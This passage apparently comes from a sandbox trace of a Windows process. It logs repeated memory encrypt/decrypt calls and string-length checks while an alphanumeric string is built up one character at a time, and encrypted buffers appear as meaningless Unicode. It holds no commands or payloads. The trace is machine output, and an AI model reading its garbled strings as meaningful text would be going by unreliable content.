SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.171] SysStringLen (param_1="cNfJUH") returned 0x8 [0224.171] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.171] SysStringLen (param_1="ꐋ䚌굠뙧홑ｽﳷ") returned 0x8 [0224.171] SysStringLen (param_1="ꐋ䚌굠뙧홑ｽﳷ") returned 0x8 [0224.171] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.171] SysStringLen (param_1="cNfJUHp") returned 0x8 [0224.171] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.171] SysStringLen (param_1="䀎䔛둌娅彰䣐ꕁ") returned 0x8 [0224.171] SysStringLen (param_1="䀎䔛둌娅彰䣐ꕁ") returned 0x8 [0224.171] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.171] SysStringLen (param_1="cNfJUHpD") returned 0x8 [0224.171] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.172] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ⊮) returned 0x8 [0224.172] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ⊮) returned 0x8 [0224.172] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ⊮) returned 0x8 [0224.174] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ⊮) returned 0x10 [0224.174] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.174] SysStringLen (param_1="cNfJUHpDHৄ䵵봑묝溧埕揟") returned 0x10 [0224.174] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.174] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ躮櫙눴㖈㊀㊶ᓄ獰≺) returned 0x10 [0224.174] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ躮櫙눴㖈㊀㊶ᓄ獰≺) returned 0x10 [0224.174] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.174] SysStringLen (param_1="cNfJUHpDHc䵵봑묝溧埕揟") returned 0x10 [0224.174] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.174] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ썝፼˳ᗎ㝩⊀) returned 0x10 [0224.174] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ썝፼˳ᗎ㝩⊀) returned 0x10 [0224.174] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.175] SysStringLen (param_1="cNfJUHpDHcA봑묝溧埕揟") returned 0x10 [0224.175] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.175] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ閮魜௤켋⢴ꈤ꯹뜩≡) returned 0x10 [0224.175] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ閮魜௤켋⢴ꈤ꯹뜩≡) returned 0x10 [0224.175] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.175] SysStringLen (param_1="cNfJUHpDHcAJ묝溧埕揟") returned 0x10 [0224.175] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.175] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ᢮뤽鍂똢ὲ≔) returned 0x10 [0224.175] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ᢮뤽鍂똢ὲ≔) returned 0x10 [0224.175] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.175] SysStringLen (param_1="cNfJUHpDHcAJL溧埕揟") returned 0x10 [0224.175] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ傮Ʂ\웜᜹ᴧ昙") returned 0x10 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ傮Ʂ\웜᜹ᴧ昙") returned 0x10 [0224.176] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.176] SysStringLen (param_1="cNfJUHpDHcAJLC埕揟") returned 0x10 [0224.176] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘᖮ᫜넝晴걎햿塀醢⊦) returned 0x10 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘᖮ᫜넝晴걎햿塀醢⊦) returned 0x10 [0224.176] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.176] SysStringLen (param_1="cNfJUHpDHcAJLCC揟") returned 0x10 [0224.176] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ뒮惂貵䛆祓填嵉詩⋢) returned 0x10 [0224.176] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘ뒮惂貵䛆祓填嵉詩⋢) returned 0x10 [0224.176] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.177] SysStringLen (param_1="cNfJUHpDHcAJLCCr") returned 0x10 [0224.177] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.177] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞") returned 0x10 [0224.177] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞") returned 0x10 [0224.177] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞") returned 0x10 [0224.178] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞") returned 0x18 [0224.178] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.178] SysStringLen (param_1="cNfJUHpDHcAJLCCr3ຍ哭䘔럡톭靌ԥ") returned 0x18 [0224.178] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.178] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䤽袶੿䨿㫎罖᧜") returned 0x18 [0224.178] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䤽袶੿䨿㫎罖᧜") returned 0x18 [0224.178] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.178] SysStringLen (param_1="cNfJUHpDHcAJLCCr3P哭䘔럡톭靌ԥ") returned 0x18 [0224.178] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.178] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞얫户೼䨌౸遄Ꭵ쪯") returned 0x18 [0224.178] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞얫户೼䨌౸遄Ꭵ쪯") returned 0x18 [0224.178] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="cNfJUHpDHcAJLCCr3Pn䘔럡톭靌ԥ") returned 0x18 [0224.179] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞ܼ벼ℏ큮䣣") returned 0x18 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞ܼ벼ℏ큮䣣") returned 0x18 [0224.179] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="cNfJUHpDHcAJLCCr3Pnc럡톭靌ԥ") returned 0x18 [0224.179] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞밡ۭ馫괳\⊼) returned 0x18 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞밡ۭ馫괳\⊼) returned 0x18 [0224.179] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="cNfJUHpDHcAJLCCr3Pncx톭靌ԥ") returned 0x18 [0224.179] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞욤娿宅浈骆ᵼ趲郈") returned 0x18 [0224.179] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞욤娿宅浈骆ᵼ趲郈") returned 0x18 [0224.180] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.180] SysStringLen (param_1="cNfJUHpDHcAJLCCr3Pncxb靌ԥ") returned 0x18 [0224.180] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.180] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞讳\ﳙᅙ쉜艻㡴钭⊯) returned 0x18 [0224.180] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞讳\ﳙᅙ쉜艻㡴钭⊯) returned 0x18 [0224.180] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.180] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKԥ") returned 0x18 [0224.180] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.180] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞츳崈௝좾삲త显숺") returned 0x18 [0224.180] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞츳崈௝좾삲త显숺") returned 0x18 [0224.180] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.180] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKb") returned 0x18 [0224.180] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.181] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎") returned 0x18 [0224.181] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎") returned 0x18 [0224.181] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎") returned 0x18 [0224.181] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎") returned 0x20 [0224.181] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.182] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQ盚⼄ﻥ䣤᮵") returned 0x20 [0224.182] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.182] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎Ễ쾠♩挬ꛦ੺ȃꀟ") returned 0x20 [0224.182] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎Ễ쾠♩挬ꛦ੺ȃꀟ") returned 0x20 [0224.182] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.182] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQf⼄ﻥ䣤᮵") returned 0x20 [0224.182] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.182] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎䛞즥\ꃝ騩崎≯) returned 0x20 [0224.182] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎䛞즥\ꃝ騩崎≯) returned 0x20 [0224.182] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.182] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYﻥ䣤᮵") returned 0x20 [0224.182] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎ሯ썙쿁⸘䛂窲䂕") returned 0x20 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎ሯ썙쿁⸘䛂窲䂕") returned 0x20 [0224.183] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.183] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYbﻥ䣤᮵") returned 0x20 [0224.183] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎⦗󨓆썸踟") returned 0x20 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎⦗󨓆썸踟") returned 0x20 [0224.183] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.183] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9ﻥ䣤᮵") returned 0x20 [0224.183] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎㕊膀콄䌨鹧뜬퇥ብ") returned 0x20 [0224.183] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎㕊膀콄䌨鹧뜬퇥ብ") returned 0x20 [0224.183] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.184] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9o䣤᮵") returned 0x20 [0224.184] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.184] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎ꌇᣓ꒺ᵫ켫쌈ꫪ␑") returned 0x20 [0224.184] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎ꌇᣓ꒺ᵫ켫쌈ꫪ␑") returned 0x20 [0224.184] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.184] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9ow᮵") returned 0x20 [0224.184] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.184] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎瑪慹嶥㢣ﴡ苦") returned 0x20 [0224.184] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎瑪慹嶥㢣ﴡ苦") returned 0x20 [0224.184] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.184] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owR") returned 0x20 [0224.184] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.185] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰") returned 0x20 [0224.185] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰") returned 0x20 [0224.185] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰") returned 0x20 [0224.185] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰") returned 0x28 [0224.185] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRs梺㾨韰깶鈯₇屢") returned 0x28 [0224.186] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰揚ู䆍᏷ዛ췉ᾼ䵕") returned 0x28 [0224.186] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰揚ู䆍᏷ዛ췉ᾼ䵕") returned 0x28 [0224.186] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRsp㾨韰깶鈯₇屢") returned 0x28 [0224.186] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ὓᘫ鏡럭『쓊ຽﰘ") returned 0x28 [0224.186] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ὓᘫ鏡럭『쓊ຽﰘ") returned 0x28 [0224.186] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA韰깶鈯₇屢") returned 0x28 [0224.186] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.186] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰稳述ꄂ皅讜罳碘") returned 0x28 [0224.187] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰稳述ꄂ皅讜罳碘") returned 0x28 [0224.187] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.187] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5깶鈯₇屢") returned 0x28 [0224.187] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.187] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰閽㌾\쵨珟录≬) returned 0x28 [0224.187] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰閽㌾\쵨珟录≬) returned 0x28 [0224.187] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.187] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5U鈯₇屢") returned 0x28 [0224.187] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.187] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ꡥৄ솮외▸咻") returned 0x28 [0224.187] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ꡥৄ솮외▸咻") returned 0x28 [0224.187] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.187] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5Up₇屢") returned 0x28 [0224.188] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.188] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰䯙鯢葢㧸蚵괌") returned 0x28 [0224.188] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰䯙鯢葢㧸蚵괌") returned 0x28 [0224.188] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.188] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpY屢") returned 0x28 [0224.188] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.188] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ൈ₂䌝⶚㬚౓빀") returned 0x28 [0224.188] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰ൈ₂䌝⶚㬚౓빀") returned 0x28 [0224.188] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.188] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpYb") returned 0x28 [0224.188] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.188] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡") returned 0x28 [0224.189] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡") returned 0x28 [0224.189] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡") returned 0x28 [0224.189] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡") returned 0x30 [0224.189] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.189] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpYbn툴犷ꢰ⻩ﰏ㹮粚") returned 0x30 [0224.189] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.189] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡棣Ġ롟䤽漖䝭Ⰿ槸") returned 0x30 [0224.189] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡棣Ġ롟䤽漖䝭Ⰿ槸") returned 0x30 [0224.189] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.190] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpYbnS犷ꢰ⻩ﰏ㹮粚") returned 0x30 [0224.190] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.190] SysStringLen 